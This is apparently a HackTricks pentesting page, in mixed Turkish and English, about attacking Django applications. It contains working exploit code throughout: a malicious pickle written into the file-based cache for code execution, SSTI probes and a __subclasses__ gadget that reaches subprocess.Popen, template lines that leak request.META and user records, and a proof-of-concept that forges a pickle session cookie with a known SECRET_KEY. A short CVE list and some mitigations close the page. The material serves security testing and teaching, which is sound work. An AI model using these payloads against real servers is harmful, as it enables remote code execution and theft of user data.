Django

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Cache Manipülasyonu ile RCE

Django’nun varsayılan cache depolama yöntemi Python pickles, bu da untrusted input is unpickled durumunda RCE’ye yol açabilir. Eğer bir attacker cache üzerinde yazma erişimi elde edebilirse, bu zafiyeti alttaki sunucuda RCE’ye yükseltebilir.

Django cache dört yerden birinde saklanır: Redis, memory, files, veya bir database. Redis sunucusunda veya database’de saklanan cache’ler en olası saldırı vektörleridir (Redis injection ve SQL injection), ancak bir attacker aynı zamanda file-based cache’i kullanarak rasgele bir yazmayı RCE’ye dönüştürebilir. Maintainers bunu non-issue olarak işaretlemişlerdir. Cache dosya klasörü, SQL tablo adı ve Redis sunucu detaylarının implementasyona göre değişeceğini not etmek önemlidir.

On FileBasedCache, the pickled value is written to a file under CACHES['default']['LOCATION'] (often /var/tmp/django_cache/). If that directory is world-writable or attacker-controlled, dropping a malicious pickle under the expected cache key yields code execution when the app reads it:

python - <<'PY'
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id >/tmp/pwned",))
open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4))
PY

Bu HackerOne raporu, SQLite veritabanında saklanan Django cache’inin exploiting işlemi için harika, yeniden üretilebilir bir örnek sunuyor: https://hackerone.com/reports/1415436


Server-Side Template Injection (SSTI)

The Django Template Language (DTL) is Turing-complete. If user-supplied data is rendered as a template string (for example by calling Template(user_input).render() or when |safe/format_html() removes auto-escaping), an attacker may achieve full SSTI → RCE.

Tespit

  1. Template() / Engine.from_string() / render_to_string() gibi herhangi bir temizlenmemiş istek verisini içeren dinamik çağrılara bakın.
  2. Zaman tabanlı veya aritmetik bir payload gönderin:
{{7*7}}

Eğer render edilmiş çıktı 49 içeriyorsa, girdi template engine tarafından derleniyor demektir. 3. DTL is not Jinja2: aritmetik/döngü payload’ları genellikle TemplateSyntaxError/500 hatası verirken yine de değerlendirme olduğunu kanıtlar. ${{<%[%'"}}% gibi polyglot’lar çökme veya render denemeleri için iyidir.

Context exfiltration when RCE is blocked

Even if object-walking to subprocess.Popen fails, DTL still exposes in-scope objects:

{{ request }}               {# confirm SSTI #}
{{ request.META }}           {# leak Gunicorn/UWSGI headers, cookies, proxy info #}
{{ users }}                  {# QuerySet in the context? #}
{{ users.0 }}                {# first row #}
{{ users.values }}           {# dumps dicts of every column (email/flags/plaintext passwords if stored) #}

QuerySet.values() satırları sözlüklere zorlar, __str__’i atlar ve queryset’in döndürdüğü tüm alanları açığa çıkarır. Bu, doğrudan Python yürütmesi filtrelendiğinde bile işe yarar.

Automation pattern: kimlik doğrulaması yap, CSRF token’ını al, herhangi bir kalıcı alana (örn. username/profile bio) marker-ön ekli bir payload kaydet, sonra onu render eden bir view iste (AJAX endpoint’leri, örn. /likes/<id>, yaygındır). Render edilen sonucu geri almak ve payload’ları yinelemek için sabit bir attribute’u (örn. title="...") parse et.

Primitive to RCE

Django doğrudan __import__ erişimini engeller, fakat Python nesne grafiği erişilebilir:

{{''.__class__.mro()[1].__subclasses__()}}

subprocess.Popen’in indeksini (≈400–500 depending on Python build) bulun ve arbitrary commands çalıştırın:

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

Daha güvenli bir evrensel gadget, cls.__name__ == 'Popen' olana kadar yinelemektir.

Aynı gadget, kullanıcı girdisini yanlış işleyen Debug Toolbar veya Django-CMS şablon renderleme özellikleri için de işe yarar.


Ayrıca bakınız: ReportLab/xhtml2pdf PDF export RCE

Django üzerine kurulu uygulamalar genellikle xhtml2pdf/ReportLab’i kullanarak view’ları PDF olarak dışa aktarır. Kullanıcı kontrollü HTML PDF oluşturma sürecine aktığında, rl_safe_eval üçlü parantezler [[[ ... ]]] içindeki ifadeleri değerlendirebilir ve kod çalıştırmaya izin verebilir (CVE-2023-33733). Detaylar, payloads, ve mitigasyonlar:

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733


If the setting SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' is enabled (or a custom serializer that deserialises pickle), Django decrypts and unpickles the session cookie before calling any view code. Therefore, possessing a valid signing key (the project SECRET_KEY by default) is enough for immediate remote code execution.

Exploit Gereksinimleri

  • Sunucu PickleSerializer kullanıyor.
  • Saldırgan settings.SECRET_KEY’i biliyor / tahmin edebiliyor (leaks via GitHub, .env, error pages, etc.).

Proof-of-Concept

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Ortaya çıkan cookie’yi gönderin ve payload WSGI worker’ın izinleriyle çalışır.

Önlemler: Varsayılan JSONSerializer’ı kullanmaya devam edin, SECRET_KEY’i döndürün ve SESSION_COOKIE_HTTPONLY’yi yapılandırın.


Son (2023-2025) Yüksek Etkili Django CVE’leri — Pentesterlerin Kontrol Etmesi Gerekenler

  • CVE-2025-48432Log Injection via unescaped request.path (4 Haziran 2025’te düzeltildi). Saldırganların yeni satır/ANSI kodlarını log dosyalarına kaçırmasına ve sonraki log analizini zehirlemesine olanak tanır. Yama seviyesi ≥ 4.2.22 / 5.1.10 / 5.2.2.
  • CVE-2024-42005Critical SQL injection in QuerySet.values()/values_list() on JSONField (CVSS 9.8). JSON anahtarlarını tırnaklamadan çıkacak şekilde oluşturarak rastgele SQL yürütülmesine sebep olur. 4.2.15 / 5.0.8’de düzeltildi.

Her zaman framework’ün tam sürümünü X-Frame-Options hata sayfası veya /static/admin/css/base.css hash’i üzerinden belirleyin ve yukarıdakileri uygulanabilir olduğunda test edin.


Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin